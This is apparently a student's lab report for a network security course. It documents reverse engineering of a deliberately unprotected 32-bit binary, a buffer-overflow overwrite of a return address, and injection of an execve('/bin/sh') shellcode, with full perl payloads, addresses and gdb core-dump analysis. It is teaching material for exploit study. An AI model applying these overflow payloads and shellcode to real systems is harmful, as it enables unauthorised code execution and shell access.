20242320 2026-2027-1 《网络与系统攻防技术》实验一实验报告

20242320 2025-2026-1 《网络与系统攻防技术》实验一实验报告

实验名称:逆向破解与 BOF(Buffer Overflow)
实验环境:Kali Linux 虚拟机(64 位系统,运行 32 位程序 pwn1;主机名已改为姓名拼音fanxingru),工具:objdump、gdb(含 GEF 插件)、checksec、vi+xxd、perl、xxd、core dump

1. 基础知识

1.1 汇编指令与机器码

一条汇编指令对应一条机器指令

本实验涉及指令的机器码如下:

指令 机器码 说明
NOP 0x90 空操作,滑板(sled)填充用,执行到它会顺势滑向后面的指令
JE 0x74 xx 相等则跳(短跳转,相对偏移)
JNE 0x75 xx 不相等则跳(短跳转,相对偏移)
JMP 0xEB xx / 0xE9 xxxxxxxx 无条件跳转,短跳转与近跳转两种
CMP 0x38~0x3D 系列 比较两个操作数,影响标志位

另外

  • call = 0xE8 + 4 字节相对偏移(补码表示)。x86 的 call 是相对寻址,目标地址 = call 指令地址 + 5 + 偏移量,与 ASLR 无关(代码段地址固定)。
  • x86 采用小端序,多字节数据(如地址 0x0804847d)在内存和文件里低字节在前,写作 \x7d\x84\x04\x08。

1.2 反汇编与文本编程器

  • 反汇编是汇编的逆过程,把机器码还原成汇编代码。Linux 下用 objdump -d 即可,常配合 grep -A n "<main>:" 只看某个函数。
  • 本实验用 vi 这个文本编程器用于修改二进制文件。跟vim差不多。其中,:%!xxd 进入十六进制模式,二进制文件用 vi 直接打开是乱码,先切十六进制模式方便人看。

1.3 ELF 文件与进程内存布局

ELF 是 Linux 的可执行文件格式(Windows 是 PE)。文件中的 .text 段是只读代码,.data/.bss 是全局数据。程序运行时操作系统把它加载进内存,每个进程有独立的虚拟地址空间,32 位非 PIE 程序的代码段一般固定在 0x08048000 附近。

程序运行时内存从低地址到高地址大致是:.text 代码 → .data/.bss 数据 → 堆(向上增长)→ 栈(向下增长)→ 内核空间。

栈帧是函数在栈上的"工作区",保存三类关键数据:局部变量、旧的 EBP(上一个栈帧的位置)、返回地址。CPU 通过三个寄存器配合工作:EIP 指向下一条要执行的指令,ESP 指向栈顶,EBP 指向当前栈帧基址。本次实验的核心就是改EIP。

1.4 BOF 漏洞与 Shellcode

  • BOF(Buffer Overflow,缓冲区溢出):程序向栈上的缓冲区写数据时不检查长度(如 gets()),输入超过缓冲区大小后,多余的字节会依次淹没相邻区域,最终覆盖返回地址。函数返回时,ret 把被覆盖的值弹入 EIP,程序就跳到了攻击者指定的地址。
  • Shellcode:一段让 CPU 直接执行的二进制机器指令(不是汇编文本),通常用来执行 execve("/bin/sh") 弹出一个 shell。本实验使用的是经典的 25 字节 shellcode,大致逻辑是:xor eax 后三次 push 在栈上构造字符串 //bin/sh 及其地址,然后依次设置 execve 的三个参数(ebx=路径、ecx=argv、edx=envp=0),eax 置系统调用号 11,最后 int 0x80 触发软中断交给内核执行。
  • NOP 滑梯:在 shellcode 前填充大量 0x90,只要 EIP 落在滑梯任意位置,都会"滑"进 shellcode,从而提高攻击命中率(因为栈地址可能因启动方式不同而有小幅偏差)。

1.5 常见防护机制

  • ASLR(地址空间随机化):随机化栈、堆、共享库的加载地址,让攻击者猜不到缓冲区地址;
  • NX(栈不可执行):栈上数据不能当代码跑,shellcode 注入失效;
  • Canary(栈保护):在返回地址前放一个随机"金丝雀"值,被覆盖时程序主动崩溃。

本实验的程序是特意编译成"不设防"的(32 位、NX 关闭),用于教学。实验前用 checksec --file=./pwn1 确认:NX disabled、无 Canary、No PIE。

2. 实验内容

实验对象是 32 位 Linux 可执行文件 pwn1。

正常过程是 main 调用 foo,foo 用 gets() 回显输入;

但本程序中还有个的 getShell 函数(内部执行 system("/bin/sh"))。

本次实验目标是想办法运行 getShell,并进一步注入自定义 shellcode。

三个任务:

任务 方法 原理
任务一 手工修改可执行文件 直接改机器码,把 main 中 call foo 改为 call getShell
任务二 利用 BOF 漏洞 构造超长输入覆盖返回地址,劫持 EIP 到 getShell
任务三 注入自定义 shellcode 把 shellcode 放进缓冲区,让返回地址指向它

3. 实验过程

3.0 实验准备

文件传输:pwn1 最初在 Windows 宿主机上。直接拖拽到 Kali 桌面会出现红色禁止符号,但拖放到终端窗口里可以——此时终端会出现一串临时路径 /var/run/vmblock-fuse/blockdir/xxxx/pwn1。

屏幕截图 2026-09-28 111043

这是 VMware 拖放功能的临时挂载点,目录随时会消失(第二次拖入的时候,路径就变了),须复制出来:

cp '/var/run/vmblock-fuse/blockdir/xxxx/pwn1' ~/pwn1
cd ~
chmod +x pwn1
./pwn1          # 输入 123 回显 123,验证文件完好

屏幕截图 2026-09-28 112014

关闭地址随机化并备份:

sudo sysctl -w kernel.randomize_va_space=0    # 输出 kernel.randomize_va_space = 0
cp pwn1 pwn1_20242320

屏幕截图 2026-09-28 112240

💡 经验:每次拖放文件后都立即 cp 到主目录,不要直接在 vmblock-fuse 路径里操作;一劳永逸的办法是 VMware 设置 → 选项 → 共享文件夹,之后从 /mnt/hgfs/ 访问。

反汇编 objdump -d pwn1_20242320 :

反汇编 main 函数 objdump -d pwn1_20242320 | grep -A 20 "<main>:"
其中, call 8048491 <foo>,其机器码为 e8 d7 ff ff ff,位于地址 0x080484b5
屏幕截图 2026-09-28 112746

反汇编 foo 函数
lea -0x1c(%ebp),%eax 和 call 8048340 <gets@plt>,说明缓冲区在 EBP 下方 0x1c(28)字节处,且使用不检查长度的 gets
屏幕截图 2026-09-28 112806

反汇编 getShell 函数
其地址为 0x0804847d,内部 movl $0x8048560,(%esp) 后 call 8048350 <system@plt>,参数是字符串 /bin/sh 的地址
屏幕截图 2026-09-28 112842

反汇编得出的hints:

  • foo 地址:0x08048491
  • getShell 地址:0x0804847d
  • call foo 指令:0x080484b5,机器码 e8 d7 ff ff ff
  • foo 的 ret 指令:0x080484ae

3.1 任务一:手工修改机器指令,改变程序执行流程

call 是相对跳转,偏移量 = 目标地址 −(指令地址 + 5)。

Q : 为什么是"指令地址 + 5" ?
call 执行时,CPU 要先把返回地址压栈——也就是"call 指令的下一条指令的地址"。这个地址 = call 指令所在地址 + 5(e8 占 1 字节,操作数占 4 字节)。压栈完成后,eip 已经指向"下一条指令"的位置,然后才在此基础上加上偏移量跳转。

原来跳 foo 函数:

0x08048491 − (0x080484b5 + 5) = −0x29 → d7 ff ff ff

要改成跳 getShell 函数:

0x0804847d − (0x080484b5 + 5) = −0x3d → c3 ff ff ff

that is to say:需要把 d7 改成 c3

修改步骤(vi编辑器可真难用):

vi pwn1_20242320

二进制文件直接用 vi 打开是一屏乱码,吓人
屏幕截图 2026-09-28 113720

  1. Esc 后输入 :%!xxd 回车,切换为十六进制模式
    屏幕截图 2026-09-28 114743

  2. Esc 后输入 /e8 d7 回车(注意 d7 前有空格),再按一次回车确认搜索(差点退不出搜索模式),光标定位到该字节
    屏幕截图 2026-09-28 114001

  3. 方向键把光标移到 d7 的 d 上,按 r 再按 c,把它改成 c3
    屏幕截图 2026-09-28 114635

⚠️ 十六进制模式下 xxd 把字节两两连写,目标行形如 f0e8 d7ff ffff,要找的是 e8 d7 这一对(文件偏移 0x4b5 处)。移动光标只能用方向键或 h/j/k/l,按字母键等于下达编辑命令。

  1. Esc 后输入 :%!xxd -r 回车,转回二进制模式
  2. :wq 保存退出

修改后验证并运行:

objdump -d pwn1_20242320 | grep -A 8 "<main>:"  
./pwn1_20242320

修改后的反汇编结果,call 804847d <getShell>
屏幕截图 2026-09-28 114743

运行
屏幕截图 2026-09-28 114835

任务一搞定唠

3.2 任务二:利用 foo 的 BOF 漏洞覆盖返回地址

由反汇编可知:缓冲区在 EBP 下方 0x1c = 28 字节处,EBP 本身占 4 字节
故从缓冲区开头到返回地址正好相距 32 字节也就是说,输入 32 字节填充,第 33~36 字节就是要写入的新返回地址。

用 gdb 验证偏移量:

gdb pwn1
(gdb) run
# 程序运行后输入 40 个字符:1111111122222222333333334444444455555555
# 收到 SIGSEGV,查看寄存器
(gdb) info registers eip ebp

屏幕截图 2026-09-28 120938
gdb 显示 $ebp = 0x34343434(正好是第 25~32 字符 "4444",即保存的 EBP 被淹没)、$eip = 0x35353535(正好是第 33~36 字符 "5555",即返回地址被覆盖)。eip 落在第 33~36 字符,偏移量 32 得到实证。

构造攻击输入,getShell 地址 0x0804847d 按小端序写成 \x7d\x84\x04\x08:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input_20242320
xxd input_20242320        # 检查

屏幕截图 2026-09-28 122535
用 xxd input_20242320 查看。xxd:一个把文件内容按十六进制显示的查看工具("hex dump"的惯例叫法,xxd 是 vim 自带的配套工具)

执行攻击:

(cat input_20242320; cat) | ./pwn1

第一个 cat 把攻击文件送进程序的 stdin,第二个无参数的 cat 把键盘输入继续转发给程序——因为攻击成功后弹出的 shell 还需要交互,不加第二个 cat,管道输入结束后 shell 会立即读到 EOF 而退出。

屏幕截图 2026-09-28 122630
攻击成功,终端出现 $ 提示符,执行 whoami(kali)、ls 验证 shell 可用。

Q : 一个大大的疑惑,为啥没有$ 提示符勒(前面还有一串乱码),但确实是一个shell?
Firstly,乱码是正常回显:foo 里的 puts(buf) 在攻击生效前把输入原样打印了一遍。32 个填充字符正常显示,最后的 7d 84 04 08 四字节不是可打印字符,终端显示为 ◆� 说明 payload 完整到达了缓冲区。
Secondly,没有 $ 是因为 stdin 是管道:(cat input; cat) | ./pwn1 中,dash(/bin/sh)检测到 stdin 不是终端,进入非交互模式也就是说不打印提示符,但仍正常读命令、执行命令。任务一直接运行时有 $,正因为那次 stdin 是终端。
Finally,判断成功的标准是命令有没有被执行(whoami 返回 kali、ls 正常),而不是有没有提示符。想要看到 $,可用 script -q -c "./pwn1" /dev/null 包一层伪终端。

任务二搞定

3.3 任务三:注入自定义 Shellcode 并运行

Q1 :What is shellcode?
Shellcode 就是一段直接被 CPU 执行的二进制机器指令(不是汇编文本,而是汇编翻译好后、能直接执行的原始字节序列)
之所以叫 shellcode,是因为一般被用来执行 execve("/bin/sh") 即给攻击者弹出一个 shell
Q2 :What is inject shellcode ?(Chinglish)
注入shellcode就是把它写进内存里,并让 CPU 去执行它。
Q3 :Where to inject and why i can?(Chinglish)
程序本身的代码编译好了放在 .text 段,注入shellcode的时候并没有将其注入到.text 段。why?对于.text权限为 只读 + 可执行(r-x)(操作系统给它分配的),且没有空余位置
所以,一般往.data/.bss、栈或者堆里面写。本次实验利用gets函数往栈里注入。
为什么可以勒?指令和数据以完全相同的形态(二进制字节)存放在同一个存储器里,CPU 根据 EIP 逐条取指、译码、执行。内存本身不维护"这段是代码、那段是数据"的元信息——同一块内存,EIP 指过去就是指令,mov 读过去就是数据。
Q4 :本任务中shellcode干了what?在栈上拼出 //bin/sh 字符串 → 设置好 execve 的三个参数(路径、argv、envp=0)→ 系统调用号 11 放入 eax → int 0x80 触发软中断交给内核 → 进程变成为 shell。

前置检查:

checksec --file=./pwn1

屏幕截图 2026-09-28 123013

first try(failed)shellcode 放在返回地址下方,因为自覆写崩了
按常见的"NOP 滑梯 + shellcode + 返回地址"布局构造 payload,返回地址暂用占位符:

perl -e 'print "\x90"x6 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x90" . "\x04\x03\x02\x01" . "\x00"' > input_shellcode_20242320

两个终端配合定位:终端 1 运行 (cat input_shellcode_20242320; cat) | ./pwn1,终端 2 ps aux | grep pwn1 找到 PID 后 gdb -p <PID>,break *0x080484ae(foo 的 ret),c 后回终端 1 按回车触发断点:

(gdb) info registers esp          # esp = 0xffffcf6c,指向占位符 0x01020304
(gdb) x/24x $esp-0x28

屏幕截图 2026-09-28 123259
屏幕截图 2026-09-28 123357
屏幕截图 2026-09-28 123411
屏幕截图 2026-09-28 123520

栈内容可见 0x90909090(滑梯)、0xc0319090(滑梯尾 + shellcode 开头 31 c0)、0x01020304(占位符),推算出 shellcode 起始 = esp − 30 = 0xffffcf52。

于是把返回地址指向滑梯中部 0xffffcf4e,构造 input_shellcode2_20242320 再来
屏幕截图 2026-09-28 123918
ohno 仍然失败

怎么办?
用 core dump 分析真实现场(Key turning point)

Q : What is core dump ?
Core dump 定位法就是: 让程序在真实环境里崩溃,由操作系统把崩溃瞬间的整个进程内存"拍一张照片"存成文件(core 文件),再用 gdb 打开这张照片做"事后检查"。

ulimit -c unlimited
./pwn1 < input_shellcode2_20242320     # (core dumped),生成 core.65989
gdb ./pwn1 core.65989
(gdb) info registers eip               # eip = 0xffffcf62:滑梯和入口都正确,shellcode 执行了一部分
(gdb) x/40x $esp-0x40

屏幕截图 2026-10-01 184846
图片
core 中的栈:0xffffcf60: 0x00000000、0xffffcf64: 0x6e69622f("/bin")、0xffffcf68: 0x68732f2f("//sh")、0xffffcf6c: 0x00000000(这些就是 shellcode 前 8 条指令 push 上去的 execve 参数)shellcode 确实开始执行了;但对照原字节,cf60 之后的 e3 50 53 89(mov ebx,esp 的操作数)、cf64 的 e1 31 d2 b0、cf68 的 0b cd 80(int 0x80 本体)全被它自己的 push 覆写了。

失败原因分析:ret 执行后 esp = 返回地址槽位 + 4,就在 shellcode 头顶上。shellcode 的 5 次 push 向低地址写(参数区),而 shellcode 尾部距离返回地址只有 1 字节间隔,push 的数据恰好就覆盖了还没执行的后半截。(还曾怀疑是 64 位系统跑 32 位程序的问题。但任务二能成功、core 里 32 位栈布局完整,都证明环境没问题。操作系统兼容性还是很强的啊,64位运行32位程序也可以的)

(重演失败过程的动画见下,果然是图像才更直观。关于动画:博客园的 Markdown 编辑器会剥掉正文里的脚本,但保留样式,所以 JS 不行,只有改成纯CSS版。)

任务三失败现场还原:shellcode 被自己的 push 覆写
第 0 步 · 初始:ret 刚执行完。返回地址 0xffffcf4e 已弹入 eip,执行流正从 NOP 滑梯滑到 shellcode 开头 0xffffcf52。此刻 esp = 0xffffcf70,正好在 shellcode 头顶上
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax
0000cf5450push eax
0000cf5568 2f2f7368push "//sh"
0000cf5a68 2f62696epush "/bin"
0000cf5f89 e3mov ebx, esp
0000cf6150push eax
0000cf6253push ebx
0000cf6389 e1mov ecx, esp
0000cf6531 d2xor edx, edx
0000cf67b0 0bmov al, 11
0000cf69cd 80int 0x80
右 · 栈内存(地址向上递增,push 向下写 ← esp)
0xcf5c62 69 6e 89bin·
0xcf60e3 50 53 89····
0xcf64e1 31 d2 b0····
0xcf680b cd 80 90····
0xcf6c4e cf ff ffN···
esp ▶0xcf70· · · ·↑ 更高地址
eip = 0xffffcf4e(滑梯入口) esp = 0xffffcf70
第 1 步 · xor eax, eax:eax 清零。这是 execve 参数里 NULL 的来源。
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax▶ eip
0000cf5450push eax
0000cf5568 2f2f7368push "//sh"
0000cf5a68 2f62696epush "/bin"
0000cf5f89 e3mov ebx, esp
0000cf6150push eax
0000cf6253push ebx
0000cf6389 e1mov ecx, esp
0000cf6531 d2xor edx, edx
0000cf67b0 0bmov al, 11
0000cf69cd 80int 0x80
右 · 栈内存(地址向上递增,push 向下写 ← esp)
0xcf5c62 69 6e 89bin·
0xcf60e3 50 53 89····
0xcf64e1 31 d2 b0····
0xcf680b cd 80 90····
0xcf6c4e cf ff ffN···
esp ▶0xcf70· · · ·↑ 更高地址
eip = 0xffffcf52 esp = 0xffffcf70
第 2 步 · push eax:esp 下移一格到 0xffffcf6c,写入 00 00 00 00。恰好盖在「返回地址槽位」上—— no problem。
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax✓ 已执行
0000cf5450push eax▶ eip
0000cf5568 2f2f7368push "//sh"
0000cf5a68 2f62696epush "/bin"
0000cf5f89 e3mov ebx, esp
0000cf6150push eax
0000cf6253push ebx
0000cf6389 e1mov ecx, esp
0000cf6531 d2xor edx, edx
0000cf67b0 0bmov al, 11
0000cf69cd 80int 0x80
右 · 栈内存(地址向上递增,push 向下写 ← esp)
0xcf5c62 69 6e 89bin·
0xcf60e3 50 53 89····
0xcf64e1 31 d2 b0····
0xcf680b cd 80 90····
esp ▶0xcf6c00 00 00 00····
0xcf70· · · ·↑ 更高地址
eip = 0xffffcf54 esp = 0xffffcf6c
第 3 步 · push "//sh":写到 0xffffcf68~cf6b——而这里正是 int 0x80(0b cd 80)的所在处。指令还没执行,先被数据盖掉了 ✗
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax✓ 已执行
0000cf5450push eax✓ 已执行
0000cf5568 2f2f7368push "//sh"▶ eip
0000cf5a68 2f62696epush "/bin"
0000cf5f89 e3mov ebx, esp
0000cf6150push eax
0000cf6253push ebx
0000cf6389 e1mov ecx, esp
0000cf6531 d2xor edx, edx
0000cf67b0 0bmov al, 11
0000cf69cd 80int 0x80✗ 已被覆写
右 · 栈内存(地址向上递增,push 向下写 ← esp)
0xcf5c62 69 6e 89bin·
0xcf60e3 50 53 89····
0xcf64e1 31 d2 b0····
esp ▶0xcf682f 2f 73 68//sh
0xcf6c00 00 00 00····
0xcf70· · · ·↑ 更高地址
eip = 0xffffcf55 esp = 0xffffcf68
第 4 步 · push "/bin":写到 0xffffcf64~cf67 xor edx 和 mov al,11 ✗。至此「//bin/sh」字符串已拼好,但后面的shellcode没了。
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax✓ 已执行
0000cf5450push eax✓ 已执行
0000cf5568 2f2f7368push "//sh"✓ 已执行
0000cf5a68 2f62696epush "/bin"▶ eip
0000cf5f89 e3mov ebx, esp
0000cf6150push eax
0000cf6253push ebx
0000cf6389 e1mov ecx, esp
0000cf6531 d2xor edx, edx✗ 已被覆写
0000cf67b0 0bmov al, 11✗ 已被覆写
0000cf69cd 80int 0x80
右 · 栈内存(地址向上递增,push 向下写 ← esp)
0xcf5c62 69 6e 89bin·
0xcf60e3 50 53 89····
esp ▶0xcf642f 62 69 6e/bin
0xcf682f 2f 73 68//sh
0xcf6c00 00 00 00····
0xcf70· · · ·↑ 更高地址
eip = 0xffffcf5a esp = 0xffffcf64
第 5 步 · mov ebx, esp:ebx = 0xffffcf64(字符串地址)。此刻 cf60 处还是 e3,取指侥幸成功(这是最后一条正常执行的指令)
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax✓ 已执行
0000cf5450push eax✓ 已执行
0000cf5568 2f2f7368push "//sh"✓ 已执行
0000cf5a68 2f62696epush "/bin"✓ 已执行
0000cf5f89 e3mov ebx, esp▶ eip
0000cf6150push eax
0000cf6253push ebx
0000cf6389 e1mov ecx, esp
0000cf6531 d2xor edx, edx✗ 已被覆写
0000cf67b0 0bmov al, 11✗ 已被覆写
0000cf69cd 80int 0x80
右 · 栈内存(地址向上递增,push 向下写 ← esp)
0xcf5c62 69 6e 89bin·
0xcf60e3 50 53 89····
esp ▶0xcf642f 62 69 6e/bin
0xcf682f 2f 73 68//sh
0xcf6c00 00 00 00····
0xcf70· · · ·↑ 更高地址
eip = 0xffffcf5f esp = 0xffffcf64
第 6 步 · push eax:写到 0xffffcf60~cf63——mov ebx 的操作数 e3 和后面的 50 53 89 全被清零 ✗
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax✓ 已执行
0000cf5450push eax✓ 已执行
0000cf5568 2f2f7368push "//sh"✓ 已执行
0000cf5a68 2f62696epush "/bin"✓ 已执行
0000cf5f89 e3mov ebx, esp✓ 已执行
0000cf6150push eax▶ eip
0000cf6253push ebx✗ 已被覆写
0000cf6389 e1mov ecx, esp✗ 已被覆写
0000cf6531 d2xor edx, edx
0000cf67b0 0bmov al, 11
0000cf69cd 80int 0x80
右 · 栈内存(地址向上递增,push 向下写 ← esp)
0xcf5c62 69 6e 89bin·
esp ▶0xcf6000 00 00 00····
0xcf642f 62 69 6e/bin
0xcf682f 2f 73 68//sh
0xcf6c00 00 00 00····
0xcf70· · · ·↑ 更高地址
eip = 0xffffcf61 esp = 0xffffcf60
第 7 步 · 💥 崩溃:eip = 0xffffcf62 想取 push ebx(53),但该字节已被上一步改成 00——取到 00 00 = add [eax],al,向地址 0 写入 → SIGSEGV。core dump 里的 eip = 0xffffcf62,与此完全一致。
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax✓ 已执行
0000cf5450push eax✓ 已执行
0000cf5568 2f2f7368push "//sh"✓ 已执行
0000cf5a68 2f62696epush "/bin"✓ 已执行
0000cf5f89 e3mov ebx, esp✓ 已执行
0000cf6150push eax
0000cf6253push ebx✗ 已被覆写
0000cf6389 e1mov ecx, esp✗ 已被覆写
0000cf6531 d2xor edx, edx
0000cf67b0 0bmov al, 11
0000cf69cd 80int 0x80
右 · 栈内存(地址向上递增,push 向下写 ← esp)
esp ▶0xcf5c64 cf 00 00d···
0xcf6000 00 00 00····
0xcf642f 62 69 6e/bin
0xcf682f 2f 73 68//sh
0xcf6c00 00 00 00····
0xcf70· · · ·↑ 更高地址
eip = 0xffffcf62 esp = 0xffffcf5c signal = SIGSEGV
总结:shellcode 确实开始执行了("/bin//sh" 和 NULL 都是它 push 上去的参数,还留在栈上作证),但它向下写数据,把向上执行的指令尾部(包括 int 0x80)全盖掉了。解法:把 shellcode 搬到返回地址上方,push 就再也写不到它了。
左 · shellcode 指令流(EIP 从上往下执行)
0000cf5231 c0xor eax, eax✓ 已执行
0000cf5450push eax✓ 已执行
0000cf5568 2f2f7368push "//sh"✓ 已执行
0000cf5a68 2f62696epush "/bin"✓ 已执行
0000cf5f89 e3mov ebx, esp✓ 已执行
0000cf6150push eax
0000cf6253push ebx✗ 已被覆写
0000cf6389 e1mov ecx, esp✗ 已被覆写
0000cf6531 d2xor edx, edx
0000cf67b0 0bmov al, 11
0000cf69cd 80int 0x80
右 · 栈内存(地址向上递增,push 向下写 ← esp)
0xcf5c64 cf 00 00d···
0xcf6000 00 00 00····
0xcf642f 62 69 6e/bin
0xcf682f 2f 73 68//sh
0xcf6c00 00 00 00····
0xcf70· · · ·↑ 更高地址
诊断完成

second try(succeed):把 shellcode 放到返回地址上方

改为 anything + retaddr + NOP 滑梯 + shellcode:返回地址指向其上方(更高地址)的滑梯,执行流向上滑到 shellcode;而 push 永远向低地址写,落在返回地址下方的填充区,就不会覆盖 shellcode。

Q1 : What is 滑梯?
"滑梯"是 NOP 滑梯(NOP sled) 的简称,指 shellcode 前面铺设的一大串 0x90(NOP,空操作指令)字节。
Q2 : 为什么需要它?
攻击者填入栈的"返回地址"只是一个猜测值,由于启动方式(管道/重定向)、环境变量等差异,真实栈地址可能有几个到几十个字节的偏差。如果返回地址直接指向 shellcode 的第一字节,偏 1 字节 EIP 就会跳进指令中间,把操作数当成操作码解码,立刻崩溃。所以就用NOP来占位置。CPU 执行到 0x90 时什么都不干,EIP 顺 + 1 走向下一字节。于是只要 EIP 落进滑梯的任意一个位置,接下来就会像坐滑梯一样,一个 NOP 一个 NOP 地"滑"过整段填充区,精准抵达滑梯尽头的 shellcode 首字节。

EIP 落在这里也行 ─┐
                 ▼
... 90 90 90 90 90 90 90 90 │ 31 c0 50 ...(shellcode)
    └──── NOP 滑梯 ────────┘   ↑ 无论从哪落下,
                               都会滑到这里开始执行

core dump 已给出真实 R = 0xffffcf6c(与 gdb attach 结果完全一致,说明本环境栈地址每次运行稳定),据此计算:

  • 滑梯起始 = R + 4 = 0xffffcf70(输入的第 36 字节起)
  • 滑梯取 20 字节(cf70~cf83),返回地址取滑梯中部 0xffffcf7a(小端 \x7a\xcf\xff\xff),即使栈地址有 ±8 字节以内偏差也能滑进 shellcode
  • shellcode 位于 0xffffcf84 起,运行时 5 次 push 全部写在 cf6c 以下,safe
perl -e 'print "11111111222222223333333344444444" . "\x7a\xcf\xff\xff" . "\x90"x20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x00"' > input_shellcode3_20242320
xxd input_shellcode3_20242320    # 确认一下第 32~35 字节为 7a cf ff ff
(cat input_shellcode3_20242320; cat) | ./pwn1

屏幕截图 2026-10-01 190622
注入成功

congratulations!所有都搞定唠hhh

4. 问题及解决方案

  • 问题 1:pwn1 文件从 Windows 传不进 Kali。
    直接拖拽到 Kali 桌面出现红色禁止符号;拖放到终端里虽然出现路径,但那是 VMware 的临时挂载点 /var/run/vmblock-fuse/blockdir/xxxx/,随时会消失。解决:拖入终端后立刻 cp 到主目录再操作。后续如需频繁传文件,可配置 VMware 共享文件夹,从 /mnt/hgfs/ 访问。

  • 问题 2:vi 修改字节时误操作导致交换文件残留。
    改错字节后按 Ctrl+Z 想"撤销",实际上只是把 vi 挂起(进程仍在后台运行),再次打开文件时 vi 报 E325: ATTENTION ... Swap file already exists。解决:先选 (Q)uit 放弃本次打开,fg 把挂起的 vi 唤回前台,:q! 正常退出不保存,再 rm -f .pwn1_20242320.swp 清除残留。教训:vi 里退出用 :q(放弃保存用 :q!),不要用 Ctrl+Z;二进制视图下只能用方向键/hjkl 移动光标,按字母键等于编辑。

  • 问题 3:任务二 gdb 验证时输入被当成 shell 命令。
    gdb pwn1_20242320 运行后直接弹出 $,输入的 40 个测试字符被 shell 执行报 not found。原因:任务一改过的文件 main 直接调用 getShell,不再经过 foo 的 gets(掩面哭笑.jpg)。解决:任务二及之后的所有 BOF 实验都改用原始文件 pwn1。

  • 问题 4:任务三第一次注入失败,且 gdb ./pwn1 core 报文件不存在。
    失败现象是段错误;core 方面,第一次崩溃后目录里没有名为 core 的文件。排查发现 cat /proc/sys/kernel/core_uses_pid 为 1,文件名带进程号后缀,实际文件是 core.65989,用全名 gdb ./pwn1 core.65989 即可。

5. 学习感悟、思考等

1.有 AI 辅助,完成实验、拿到结果不难,难的是真正理解。理解的深入,就正来自一次次提出问题并解决的过程,一言以蔽之,也就是消除模糊的过程。
2.这次实验我们的 shellcode 注入能成功,是因为 pwn1 把 NX、ASLR、Canary 都关了。随着防护措施(NX+ASLR+Canary)的普及这种类型的攻击在 2010 年代差不多就结束了。但只要攻击存在,就会出现针对这些防护的技术(如ROP绕过等)。防攻没有哪一方能一劳永逸。

posted @ 2026-10-01 22:29  jasmine·fancy  阅读(69)  评论(0)    收藏  举报